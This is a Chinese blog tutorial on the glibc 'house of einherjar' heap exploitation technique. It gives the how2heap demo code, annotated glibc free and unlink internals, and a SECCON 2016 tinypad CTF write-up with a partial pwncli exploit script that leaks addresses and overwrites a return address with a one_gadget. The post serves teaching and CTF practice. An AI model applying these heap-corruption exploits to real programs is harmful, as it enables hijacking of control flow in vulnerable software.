selph
selph
发布于 2024-01-06 / 178 阅读
1
0

堆利用详解:the house of einherjar

简介

介绍部分,来自参考资料[0]

漏洞成因

overflow writeoff by oneoff by null

目的是修改chunk的prev_inuse标志位

适用范围

  • 2.23—— 至今
  • 可分配大于处于 unsortedbinchunk

利用原理

利用 off by null 修改掉 chunksize 域的 P 位,绕过 unlink 检查,在堆的后向合并过程中构造出 chunk overlapping

  • 申请 chunk A、chunk B、chunk C、chunk Dchunk D 用来做 gapchunk A、chunk C 都要处于 unsortedbin 范围
  • 释放 A,进入 unsortedbin
  • B 写操作的时候存在 off by null,修改了 CP
  • 释放 C 的时候,堆后向合并,直接把 A、B、C 三块内存合并为了一个 chunk,并放到了 unsortedbin 里面
  • 读写合并后的大 chunk 可以操作 chunk B 的内容,chunk B 的头

和the house of spirit有点像,hos修改size制作fake chunk,释放再申请得到堆块重叠

house of einherjar利用空字节溢出覆盖prev_used为0,基于堆块合并合并到fake chunk,得到堆块重叠

相关技巧

虽然该利用技巧至今仍可以利用,但是需要对 unlink 绕过的条件随着版本的增加有所变化。

最开始的 unlink 的代码是:

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
		// .....							      \
      }									      \
}

2个需要绕过的点:

  1. 只需要绕过__builtin_expect (FD->bk != P || BK->fd != P, 0) 即可,因此,不需要伪造地址处于高位的 chunkpresize 域。
  2. 高版本的 unlink 的条件是:新增了 chunksize (p) != prev_size (next_chunk (p)),对 chunksize 有了检查,伪造的时候需要绕过。

如果fake chunk距离较远,可能需要地址泄露

利用效果

  • 构造 chunk overlap 后,可以任意地址分配
  • 结合其他方法进行任意地址读写

实验:how2heap - house of einherjar

实验环境:libc-2.35

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

int main()
{
	/*
	 * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.
	 * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().
	 * It has the additional requirement of a heap leak.
	 * 
	 * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,
	 * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.
	 * The following restriction for normal bins won't allow us to create chunks bigger than the memory
	 * allocated from the system in this arena:
	 *
	 * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */

	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("Welcome to House of Einherjar 2!\n");
	printf("Tested on Ubuntu 20.10 64bit (glibc-2.32).\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	printf("This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n");
	printf("Next, we use tcache poisoning to hijack control flow.\n"
		   "Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,"
		   "now tcache poisoning requires a heap leak.\n");

	// prepare the target,
	// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,
	// it must be properly aligned.
	intptr_t stack_var[0x10];
	intptr_t *target = NULL;

	// choose a properly aligned target address
	for(int i=0; i<0x10; i++) {
		if(((long)&stack_var[i] & 0xf) == 0) {
			target = &stack_var[i];
			break;
		}
	}
	assert(target != NULL);
	printf("\nThe address we want malloc() to return is %p.\n", (char *)target);

	printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n");
	intptr_t *a = malloc(0x38);

	// create a fake chunk
	printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n");
	printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");

	a[0] = 0;	// prev_size (Not Used)
	a[1] = 0x60; // size
	a[2] = (size_t) a; // fwd
	a[3] = (size_t) a; // bck

	printf("Our fake chunk at %p looks like:\n", a);
	printf("prev_size (not used): %#lx\n", a[0]);
	printf("size: %#lx\n", a[1]);
	printf("fwd: %#lx\n", a[2]);
	printf("bck: %#lx\n", a[3]);

	printf("\nWe allocate 0x28 bytes for 'b'.\n"
		   "This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
		   "After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n");
	uint8_t *b = (uint8_t *) malloc(0x28);
	printf("b: %p\n", b);

	int real_b_size = malloc_usable_size(b);
	printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);

	/* In this case it is easier if the chunk size attribute has a least significant byte with
	 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 
	 * the chunk includes the amount requested plus some amount required for the metadata. */
	printf("\nWe allocate 0xf8 bytes for 'c'.\n");
	uint8_t *c = (uint8_t *) malloc(0xf8);

	printf("c: %p\n", c);

	uint64_t* c_size_ptr = (uint64_t*)(c - 8);
	// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit

	printf("\nc.size: %#lx\n", *c_size_ptr);
	printf("c.size is: (0x100) | prev_inuse = 0x101\n");

	printf("We overflow 'b' with a single null byte into the metadata of 'c'\n");
	// VULNERABILITY
	b[real_b_size] = 0;
	// VULNERABILITY
	printf("c.size: %#lx\n", *c_size_ptr);

	printf("It is easier if b.size is a multiple of 0x100 so you "
		   "don't change the size of b, only its prev_inuse bit\n");

	// Write a fake prev_size to the end of b
	printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
		   "it will consolidate with our fake chunk\n", sizeof(size_t));
	size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
	printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size);
	*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;

	// Change the fake chunk's size to reflect c's new prev_size
	printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n");
	a[1] = fake_size;

	printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);

	// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
	printf("\nFill tcache.\n");
	intptr_t *x[7];
	for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
		x[i] = malloc(0xf8);
	}

	printf("Fill up tcache list.\n");
	for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
		free(x[i]);
	}

	printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n");
	free(c);
	printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);

	printf("\nNow we can call malloc() and it will begin in our fake chunk\n");

	intptr_t *d = malloc(0x158);
	printf("Next malloc(0x158) is at %p\n", d);

	// tcache poisoning
	printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
		   "We have to create and free one more chunk for padding before fd pointer hijacking.\n");
	uint8_t *pad = malloc(0x28);
	free(pad);

	printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n");
	free(b);
	printf("Now the tcache list has [ %p -> %p ].\n", b, pad);

	printf("We overwrite b's fwd pointer using chunk 'd'\n");
	// requires a heap leak because it assumes the address of d is known.
	// since house of einherjar also requires a heap leak, we can simply just use it here.
	d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);

	// take target out
	printf("Now we can cash out the target chunk.\n");
	malloc(0x28);
	intptr_t *e = malloc(0x28);
	printf("\nThe new chunk is at %p\n", e);

	// sanity check
	assert(e == target);
	printf("Got control on target/stack!\n\n");
}

代码挺长,但思路很简单:

  1. 申请chunkA,chunkB,chunkC
0x555555559290  0x0000000000000000      0x0000000000000041      ........A.......
0x5555555592a0  0x0000000000000000      0x0000000000000060      ........`.......
0x5555555592b0  0x00005555555592a0      0x00005555555592a0      ..UUUU....UUUU..
0x5555555592c0  0x0000000000000000      0x0000000000000000      ................

0x5555555592d0  0x0000000000000000      0x0000000000000031      ........1.......
0x5555555592e0  0x0000000000000000      0x0000000000000000      ................
0x5555555592f0  0x0000000000000000      0x0000000000000000      ................

0x555555559300  0x0000000000000000      0x0000000000000101      ................
0x555555559310  0x0000000000000000      0x0000000000000000      ................
0x555555559320  0x0000000000000000      0x0000000000000000      ................
0x555555559330  0x0000000000000000      0x0000000000000000      ................
0x555555559340  0x0000000000000000      0x0000000000000000      ................
0x555555559350  0x0000000000000000      0x0000000000000000      ................
0x555555559360  0x0000000000000000      0x0000000000000000      ................
0x555555559370  0x0000000000000000      0x0000000000000000      ................
0x555555559380  0x0000000000000000      0x0000000000000000      ................
0x555555559390  0x0000000000000000      0x0000000000000000      ................
0x5555555593a0  0x0000000000000000      0x0000000000000000      ................
0x5555555593b0  0x0000000000000000      0x0000000000000000      ................
0x5555555593c0  0x0000000000000000      0x0000000000000000      ................
0x5555555593d0  0x0000000000000000      0x0000000000000000      ................
0x5555555593e0  0x0000000000000000      0x0000000000000000      ................
0x5555555593f0  0x0000000000000000      0x0000000000000000      ................

0x555555559400  0x0000000000000000      0x0000000000020c01      ................         <-- Top chunk
  1. chunkB溢出覆盖chunkC的Prev_used标志位,设置Prev_size字段:
0x555555559290  0x0000000000000000      0x0000000000000041      ........A.......
0x5555555592a0  0x0000000000000000      0x0000000000000060      ........`.......
0x5555555592b0  0x00005555555592a0      0x00005555555592a0      ..UUUU....UUUU..
0x5555555592c0  0x0000000000000000      0x0000000000000000      ................

0x5555555592d0  0x0000000000000000      0x0000000000000031      ........1.......
0x5555555592e0  0x0000000000000000      0x0000000000000000      ................
0x5555555592f0  0x0000000000000000      0x0000000000000000      ................

0x555555559300  0x0000000000000060      0x0000000000000100      `...............
0x555555559310  0x0000000000000000      0x0000000000000000      ................
0x555555559320  0x0000000000000000      0x0000000000000000      ................
0x555555559330  0x0000000000000000      0x0000000000000000      ................
0x555555559340  0x0000000000000000      0x0000000000000000      ................
0x555555559350  0x0000000000000000      0x0000000000000000      ................
0x555555559360  0x0000000000000000      0x0000000000000000      ................
0x555555559370  0x0000000000000000      0x0000000000000000      ................
0x555555559380  0x0000000000000000      0x0000000000000000      ................
0x555555559390  0x0000000000000000      0x0000000000000000      ................
0x5555555593a0  0x0000000000000000      0x0000000000000000      ................
0x5555555593b0  0x0000000000000000      0x0000000000000000      ................
0x5555555593c0  0x0000000000000000      0x0000000000000000      ................
0x5555555593d0  0x0000000000000000      0x0000000000000000      ................
0x5555555593e0  0x0000000000000000      0x0000000000000000      ................
0x5555555593f0  0x0000000000000000      0x0000000000000000      ................

0x555555559400  0x0000000000000000      0x0000000000020c01      ................         <-- Top chunk
  1. 然后释放ChunkC,触发堆块合并:(如果大小在tcachebin范围内,需要先填充满tcachebin)
0x555555559290  0x0000000000000000      0x0000000000000041      ........A.......

0x5555555592a0  0x0000000000000000      0x0000000000000161      ........a.......         <-- unsortedbin[all][0]
0x5555555592b0  0x00007ffff7fa3ce0      0x00007ffff7fa3ce0      .<.......<......
0x5555555592c0  0x0000000000000000      0x0000000000000000      ................
0x5555555592d0  0x0000000000000000      0x0000000000000031      ........1.......
0x5555555592e0  0x0000000000000000      0x0000000000000000      ................
0x5555555592f0  0x0000000000000000      0x0000000000000000      ................
0x555555559300  0x0000000000000060      0x0000000000000100      `...............
0x555555559310  0x0000000000000000      0x0000000000000000      ................
0x555555559320  0x0000000000000000      0x0000000000000000      ................
0x555555559330  0x0000000000000000      0x0000000000000000      ................
0x555555559340  0x0000000000000000      0x0000000000000000      ................
0x555555559350  0x0000000000000000      0x0000000000000000      ................
0x555555559360  0x0000000000000000      0x0000000000000000      ................
0x555555559370  0x0000000000000000      0x0000000000000000      ................
0x555555559380  0x0000000000000000      0x0000000000000000      ................
0x555555559390  0x0000000000000000      0x0000000000000000      ................
0x5555555593a0  0x0000000000000000      0x0000000000000000      ................
0x5555555593b0  0x0000000000000000      0x0000000000000000      ................
0x5555555593c0  0x0000000000000000      0x0000000000000000      ................
0x5555555593d0  0x0000000000000000      0x0000000000000000      ................
0x5555555593e0  0x0000000000000000      0x0000000000000000      ................
0x5555555593f0  0x0000000000000000      0x0000000000000000      ................

0x555555559400  0x0000000000000160      0x0000000000000100      `...............
  1. 再次申请合并后大小的chunkD,造成堆块重叠,释放中间重叠的chunkB,即可通过chunkD修改其next指针
0x555555559290  0x0000000000000000      0x0000000000000041      ........A.......

0x5555555592a0  0x0000000000000000      0x0000000000000161      ........a.......
0x5555555592b0  0x0000000555555559      0x0000000000000000      YUUU............
0x5555555592c0  0x0000000000000000      0x0000000000000000      ................
0x5555555592d0  0x0000000000000000      0x0000000000000031      ........1.......
0x5555555592e0  0x000055500000ce49      0xf426fbe4ada38f47      I...PU..G.....&.         <-- tcachebins[0x30][0/2]
0x5555555592f0  0x0000000000000000      0x0000000000000000      ................
0x555555559300  0x0000000000000060      0x0000000000000100      `...............
0x555555559310  0x0000000000000000      0x0000000000000000      ................
0x555555559320  0x0000000000000000      0x0000000000000000      ................
0x555555559330  0x0000000000000000      0x0000000000000000      ................
0x555555559340  0x0000000000000000      0x0000000000000000      ................
0x555555559350  0x0000000000000000      0x0000000000000000      ................
0x555555559360  0x0000000000000000      0x0000000000000000      ................
0x555555559370  0x0000000000000000      0x0000000000000000      ................
0x555555559380  0x0000000000000000      0x0000000000000000      ................
0x555555559390  0x0000000000000000      0x0000000000000000      ................
0x5555555593a0  0x0000000000000000      0x0000000000000000      ................
0x5555555593b0  0x0000000000000000      0x0000000000000000      ................
0x5555555593c0  0x0000000000000000      0x0000000000000000      ................
0x5555555593d0  0x0000000000000000      0x0000000000000000      ................
0x5555555593e0  0x0000000000000000      0x0000000000000000      ................
0x5555555593f0  0x0000000000000000      0x0000000000000000      ................
0x555555559400  0x0000000000000160
  1. 注意这里覆盖next指针要计算加密后的结果保存进去,覆盖tcachebin的next指针即可实现任意地址申请

堆块合并的过程和安全检查都是什么?

_int_free的流程中,先看能不能放进tcachebin,放不下就试试fastbin,放不了的话,最终再考虑装入unsortedbin

装入之前会先进行合并操作

合并之前会进行一系列检查:

        /* Lightweight tests: check whether the block is already the
           top block.  */
        // 释放的chunk是top chunk,报错
        if (__glibc_unlikely(p == av->top))
            malloc_printerr("double free or corruption (top)");

        /* Or whether the next chunk is beyond the boundaries of the arena.  */
        // 下一个chunk的大小超过了arena容纳的边界,报错
        // 对比下一个chunk的位置不能超过top chunk
        if (__builtin_expect(contiguous(av) && (char *)nextchunk >= ((char *)av->top + chunksize(av->top)), 0))
            malloc_printerr("double free or corruption (out)");
    
        /* Or whether the block is actually not marked used.  */
        // 如果下一个chunk的prev_inuse位没有设置,报错
        // 该标志位意味着上一个chunk被使用,只有被使用的chunk才能被释放,已经释放了的chunk不能被释放,报错
        if (__glibc_unlikely(!prev_inuse(nextchunk)))
            malloc_printerr("double free or corruption (!prev)");

        // 检查下一个chunk的大小,太小了,或者超过系统内存了,报错,只要不要太小或者过大就行
        nextsize = chunksize(nextchunk);
        if (__builtin_expect(chunksize_nomask(nextchunk) <= CHUNK_HDR_SZ, 0) || __builtin_expect(nextsize >= av->system_mem, 0))
            malloc_printerr("free(): invalid next size (normal)");

首先进行一系列安全检查:

  1. 安全检查:释放的chunk不能是top chunk
  2. 安全检查:下一个chunk的大小不能超过top chunk边界
  3. 安全检查:确保当前释放的chunk是使用中的chunk,检查下一个chunk的prev_inuse标志位
  4. 安全检查:下一个chunk的大小不能太小(小于chunk hdr)或者太大(大于系统内存)

首先向低地址合并:

        // 从后向前合并
        /* consolidate backward */
        if (!prev_inuse(p)) // 如果上一个chunk是空闲的
        {   
            // 获取prev_size大小
            // chunk hdr 开头:prec_size size
            prevsize = prev_size(p);  
            // 计算总大小
            size += prevsize;
            // 安全检查,使用prev_size计算出上一个chunk的地址,使用上一个chunk header的大小和下一个chunk的prev_size比较,如果不相等,报错         
            p = chunk_at_offset(p, -((long)prevsize));
            if (__glibc_unlikely(chunksize(p) != prevsize))
                malloc_printerr("corrupted size vs. prev_size while consolidating");

            // 断链上一个chunk
            unlink_chunk(av, p);
        }

如果上面的chunk是空闲的,就计算合并后大小,将其断链

然后尝试向高地址合并:

        if (nextchunk != av->top)
        {
            // 获取再下一个chunk的inuse位
            /* get and clear inuse bit */
            nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

            /* consolidate forward */
            // 如果是空闲的,说明下一个chunk也是空闲的,合并
            if (!nextinuse)
            {
                // 再次断链
                unlink_chunk(av, nextchunk);
                // 大小累加
                size += nextsize;
            }
            else
                // 否则,就清空下一个chunk的prev_inuse位
                clear_inuse_bit_at_offset(nextchunk, 0);

            /*
          Place the chunk in unsorted chunk list. Chunks are
          not placed into regular bins until after they have
          been given one chance to be used in malloc.
            */
            // 放置chunk到unsorted chunk list
            // 它们在被放置到bins里之前,有一次机会被malloc使用
            bck = unsorted_chunks(av);
            fwd = bck->fd;
            // 安全检查:检查双向链表是否完整,但是只检查一个方向bck->fd->bk == bck
            if (__glibc_unlikely(fwd->bk != bck))
                malloc_printerr("free(): corrupted unsorted chunks");

            // 节点插入链表
            p->fd = fwd;
            p->bk = bck;

            // 如果是largebin chunk
            if (!in_smallbin_range(size))
            {
                p->fd_nextsize = NULL;
                p->bk_nextsize = NULL;
            }
            bck->fd = p;
            fwd->bk = p;

            // 设置头部size和下一个chunk的prev_size
            set_head(p, size | PREV_INUSE);
            set_foot(p, size);

            check_free_chunk(av, p);
        }

        /*
          If the chunk borders the current high end of memory,
          consolidate into top
        */
        // 如果下一个chunk是top chunk,就合并给top chunk
        else
        {
            size += nextsize;
            set_head(p, size | PREV_INUSE);
            av->top = p;
            check_chunk(av, p);
        }

如果后面一个chunk是空闲的,也将其断链取出,计算合并后总大小,把合并后的整体作为一个chunk装入unsortedbin

如果后面一个chunk是top chunk,就直接合并到top chunk中

断链操作的过程和安全检查是什么?

/* Take a chunk off a bin list.  */
static void
unlink_chunk(mstate av, mchunkptr p)
{
    // 安全检查:如果当前chunk的大小不等于next chunk的prev_size,说明被篡改了数据,报错
    if (chunksize(p) != prev_size(next_chunk(p)))
        malloc_printerr("corrupted size vs. prev_size");

    mchunkptr fd = p->fd;
    mchunkptr bk = p->bk;

    // 安全检查:如果当前chunk的fd的bk不等于当前chunk,或者bk的fd不等于当前chunk,说明双向链表链接出错,报错
    if (__builtin_expect(fd->bk != p || bk->fd != p, 0))
        malloc_printerr("corrupted double-linked list");

    // 断链操作
    fd->bk = bk;
    bk->fd = fd;

    // 如果是large chunk
    // 如果不是smallbin,且fd_nextsize不为空,说明是large chunk
    if (!in_smallbin_range(chunksize_nomask(p)) && p->fd_nextsize != NULL)
    {
        // 安全检查:largebin的第二条双链完整性检查
        // 安全检查:如果fd_nextsize的bk_nextsize不等于p,或者bk_nextsize的fd_nextsize不等于p,说明双向链表链接出错,报错
        if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
            malloc_printerr("corrupted double-linked list (not small)");

        // 如果存在其他大小范围的large chunk
        if (fd->fd_nextsize == NULL)
        {
            // 如果其他大小的large chunk是自己,就设置为自己
            if (p->fd_nextsize == p)
                fd->fd_nextsize = fd->bk_nextsize = fd;
            else
            {
                // nextsize链表断链
                fd->fd_nextsize = p->fd_nextsize;
                fd->bk_nextsize = p->bk_nextsize;
                p->fd_nextsize->bk_nextsize = fd;
                p->bk_nextsize->fd_nextsize = fd;
            }
        }
        else
        {
            // 正常的断链
            p->fd_nextsize->bk_nextsize = p->bk_nextsize;
            p->bk_nextsize->fd_nextsize = p->fd_nextsize;
        }
    }
}

断链流程如上,主要是两个检查:

  1. 断链chunk的大小检查,对比其size和next chunk的prev_size(这是新增的检查,老版本没有)
  2. 双链表完整性检查

实验:seccon ctf 2016 tinypad

使用的libc版本:2.23,需要在一个无tcache机制的环境下复现,该题由于申请次数限制(4)无法跳过tcachebin

题目是经典菜单题,选项都写在了main函数里:

show:每次输入完命令都会打印这几个申请内存的内容

    for ( i = 0; i <= 3; ++i )
    {
      LOBYTE(c) = i + 49;
      writeln("+------------------------------------------------------------------------------+\n", 81LL);
      write_n(" #   INDEX: ", 12LL, v5);
      writeln(&c, 1LL);
      write_n(" # CONTENT: ", 12LL, v6);
      if ( *(_QWORD *)&tinypad[16 * i + 0x108] )
      {
        v7 = strlen(*(const char **)&tinypad[16 * i + 0x108]);
        writeln(*(_QWORD *)&tinypad[16 * i + 0x108], v7);
      }
      writeln(&unk_4019F0, 1LL);
    }

delete:删除的时候没有清空指针

if ( input_cmd == 'D' )                     // delete
    {
      write_n("(INDEX)>>> ", 11LL, v9);
      index = read_int();
      if ( index <= 0 || index > 4 )
      {
LABEL_29:
        writeln("Invalid index", 13LL);
        continue;
      }
      if ( !*(_QWORD *)&tinypad[16 * index + 240] )
      {
LABEL_31:
        writeln("Not used", 8LL);
        continue;
      }
      free(*(void **)&tinypad[16 * index + 248]);
      *(_QWORD *)&tinypad[16 * index + 240] = 0LL;
      writeln("\nDeleted.", 9LL);
    }

edit:编辑的时候,会把输入的内容保存到缓冲区全局变量里等待确认,确认了再复制到堆里

if ( input_cmd != 'E' )
      {
        if ( input_cmd == 'Q' )
          continue;
LABEL_41:
        writeln("No such a command", 17LL);
        continue;
      }
      write_n("(INDEX)>>> ", 11LL, v9);
      index = read_int();                       // 0 1 2 3
      if ( index <= 0 || index > 4 )
        goto LABEL_29;
      if ( !*(_QWORD *)&tinypad[16 * index + 240] )
        goto LABEL_31;
      c = 48;
      strcpy(tinypad, *(const char **)&tinypad[16 * index + 248]);
      while ( toupper(c) != 'Y' )
      {
        write_n("CONTENT: ", 9LL, v16);
        v12 = strlen(tinypad);
        writeln(tinypad, v12);
        write_n("(CONTENT)>>> ", 13LL, v13);
        v14 = strlen(*(const char **)&tinypad[16 * index + 248]);
        read_until(tinypad, v14, 10LL);
        writeln("Is it OK?", 9LL);
        write_n("(Y/n)>>> ", 9LL, v15);
        read_until(&c, 1LL, 10LL);
      }
      strcpy(*(char **)&tinypad[16 * index + 248], tinypad);
      writeln("\nEdited.", 8LL);

add:这里存在offbynull,会把指针保存在全局变量里,位于刚刚用的缓冲区之后

if ( input_cmd != 'A' )
        goto LABEL_41;
      while ( index <= 3 )
      {
        v9 = 16 * (index + 16LL);
        if ( !*(_QWORD *)&tinypad[v9] )
          break;
        ++index;
      }
      if ( index == 4 )
      {
        writeln("No space is left.", 17LL);
      }
      else
      {
        add_size = -1;
        write_n("(SIZE)>>> ", 10LL, v9);        // 大小范围:1-256
        add_size = read_int();
        if ( add_size <= 0 )
        {
          v10 = 1;
        }
        else
        {
          v10 = add_size;
          if ( (unsigned __int64)add_size > 0x100 )
            v10 = 256;
        }
        add_size = v10;
        *(_QWORD *)&tinypad[16 * index + 256] = v10;
        *(_QWORD *)&tinypad[16 * index + 264] = malloc(add_size);
        v11 = 16 * (index + 16LL);
        if ( !*(_QWORD *)&tinypad[v11 + 8] )
        {
          writerrln("[!] No memory is available.", 27LL);
          exit(-1);
        }
        write_n("(CONTENT)>>> ", 13LL, v11);
        read_until(*(_QWORD *)&tinypad[16 * index + 264], add_size, 10LL);// off by null
        writeln("\nAdded.", 7LL);
      }

这里可以在全局变量里构造fake chunk,堆中存在off by null,如果可以泄露堆地址,就能计算距离全局变量的偏移,就能进行house of einherjar利用了

连续申请4个chunk,释放第1个和第3个,就能拿到两个堆和libc的地址泄露,此时的堆布局:

pwndbg> vis

0x1669000       0x0000000000000000      0x00000000000000f1      ................         <-- unsortedbin[all][0]
0x1669010       0x00000000016691f0      0x00007f0020ebfb78      ..f.....x.. ....
0x1669020       0x0000000000000000      0x0000000000000000      ................
0x1669030       0x0000000000000000      0x0000000000000000      ................
0x1669040       0x0000000000000000      0x0000000000000000      ................
0x1669050       0x0000000000000000      0x0000000000000000      ................
0x1669060       0x0000000000000000      0x0000000000000000      ................
0x1669070       0x0000000000000000      0x0000000000000000      ................
0x1669080       0x0000000000000000      0x0000000000000000      ................
0x1669090       0x0000000000000000      0x0000000000000000      ................
0x16690a0       0x0000000000000000      0x0000000000000000      ................
0x16690b0       0x0000000000000000      0x0000000000000000      ................
0x16690c0       0x0000000000000000      0x0000000000000000      ................
0x16690d0       0x0000000000000000      0x0000000000000000      ................
0x16690e0       0x0000000000000000      0x0000000000000000      ................

0x16690f0       0x00000000000000f0      0x0000000000000100      ................
0x1669100       0x0000000000000062      0x0000000000000000      b...............
0x1669110       0x0000000000000000      0x0000000000000000      ................
0x1669120       0x0000000000000000      0x0000000000000000      ................
0x1669130       0x0000000000000000      0x0000000000000000      ................
0x1669140       0x0000000000000000      0x0000000000000000      ................
0x1669150       0x0000000000000000      0x0000000000000000      ................
0x1669160       0x0000000000000000      0x0000000000000000      ................
0x1669170       0x0000000000000000      0x0000000000000000      ................
0x1669180       0x0000000000000000      0x0000000000000000      ................
0x1669190       0x0000000000000000      0x0000000000000000      ................
0x16691a0       0x0000000000000000      0x0000000000000000      ................
0x16691b0       0x0000000000000000      0x0000000000000000      ................
0x16691c0       0x0000000000000000      0x0000000000000000      ................
0x16691d0       0x0000000000000000      0x0000000000000000      ................
0x16691e0       0x0000000000000000      0x0000000000000000      ................

0x16691f0       0x0000000000000000      0x0000000000000101      ................         <-- unsortedbin[all][1]
0x1669200       0x00007f0020ebfb78      0x0000000001669000      x.. ......f.....
0x1669210       0x0000000000000000      0x0000000000000000      ................
0x1669220       0x0000000000000000      0x0000000000000000      ................
0x1669230       0x0000000000000000      0x0000000000000000      ................
0x1669240       0x0000000000000000      0x0000000000000000      ................
0x1669250       0x0000000000000000      0x0000000000000000      ................
0x1669260       0x0000000000000000      0x0000000000000000      ................
0x1669270       0x0000000000000000      0x0000000000000000      ................
0x1669280       0x0000000000000000      0x0000000000000000      ................
0x1669290       0x0000000000000000      0x0000000000000000      ................
0x16692a0       0x0000000000000000      0x0000000000000000      ................
0x16692b0       0x0000000000000000      0x0000000000000000      ................
0x16692c0       0x0000000000000000      0x0000000000000000      ................
0x16692d0       0x0000000000000000      0x0000000000000000      ................
0x16692e0       0x0000000000000000      0x0000000000000000      ................

0x16692f0       0x0000000000000100      0x0000000000000100      ................
0x1669300       0x0000000000000064      0x0000000000000000      d...............
0x1669310       0x0000000000000000      0x0000000000000000      ................
0x1669320       0x0000000000000000      0x0000000000000000      ................
0x1669330       0x0000000000000000      0x0000000000000000      ................
0x1669340       0x0000000000000000      0x0000000000000000      ................
0x1669350       0x0000000000000000      0x0000000000000000      ................
0x1669360       0x0000000000000000      0x0000000000000000      ................
0x1669370       0x0000000000000000      0x0000000000000000      ................
0x1669380       0x0000000000000000      0x0000000000000000      ................
0x1669390       0x0000000000000000      0x0000000000000000      ................
0x16693a0       0x0000000000000000      0x0000000000000000      ................
0x16693b0       0x0000000000000000      0x0000000000000000      ................
0x16693c0       0x0000000000000000      0x0000000000000000      ................
0x16693d0       0x0000000000000000      0x0000000000000000      ................
0x16693e0       0x0000000000000000      0x0000000000000000      ................

0x16693f0       0x0000000000000000      0x0000000000020c11      ................         <-- Top chunk

接下来去释放chunk4,计算偏移,构造fake chunk,释放chunk2,完成house_of_einherjar

fake chunk:

pwndbg> dq 0x602040 100
0000000000602040     0000000000000000 00000000011d3fc1
0000000000602050     0000000000602040 0000000000602040
0000000000602060     0000000000602040 0000000000602040
0000000000602070     6161616e61616100 616161706161616f
0000000000602080     6161617261616171 6161617461616173
0000000000602090     6161617661616175 6161617861616177
00000000006020a0     6261617a61616179 6261616362616162
00000000006020b0     6261616562616164 6261616762616166
00000000006020c0     6261616962616168 6261616b6261616a
00000000006020d0     6261616d6261616c 6261616f6261616e
00000000006020e0     6261617162616170 6261617362616172
00000000006020f0     6261617562616174 6261617762616176
0000000000602100     6261617962616178 636161626361617a
0000000000602110     6361616463616163 6361616663616165
0000000000602120     00000000011b30b0 0000000000000000
0000000000602130     0000000000000000 0000000000000000
0000000000602140     00000000000000e8 00000000017b5010	chunk1
0000000000602150     0000000000000000 00000000017b5100  chunk2
0000000000602160     0000000000000000 00000000017b5200  chunk3
0000000000602170     0000000000000000 00000000017b5300  chunk4

结果就是,合并top chunk到这里了:

pwndbg> top_chunk
PREV_INUSE
Addr: 0x602040
Size: 0x11d3fc0 (with flag bits: 0x11d3fc1)

接下来的操作就是泄露栈地址,修改main函数返回地址为one gadget然后触发即可

有了libc泄露,就能拿到__environ的值,泄露栈地址:

只需要修改其中的一个指针为该变量,自动打印数据的时候,就会打印出来

为什么不能修改__free_hook写入system函数呢?这里修改的时候会先计算该地址的字符串的长度(strlen),然后根据这个长度去写入内容,__free_hook内容是0,没法写入

完整exp:

#!/usr/bin/env python3
# Date: 2024-01-04 14:29:20
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def cmd(i, prompt='(CMD)>>> '):
    sla(prompt, i)

def add(nb,content):
    cmd('A')
    sla('(SIZE)>>> ',str(nb))
    sla('(CONTENT)>>> ',content)

"""
(INDEX)>>> 1
CONTENT: 1231
(CONTENT)>>> 123123
Is it OK?
(Y/n)>>> y
"""
def edit(idx,content):
    cmd('E')
    sla('(INDEX)>>> ',str(idx))
    ru('CONTENT: ')
    tmp = rl()[:-1]
    sla('(CONTENT)>>> ',content)
    sla('(Y/n)>>> ','Y')
    return tmp

def edit_ori(idx):
    cmd('E')
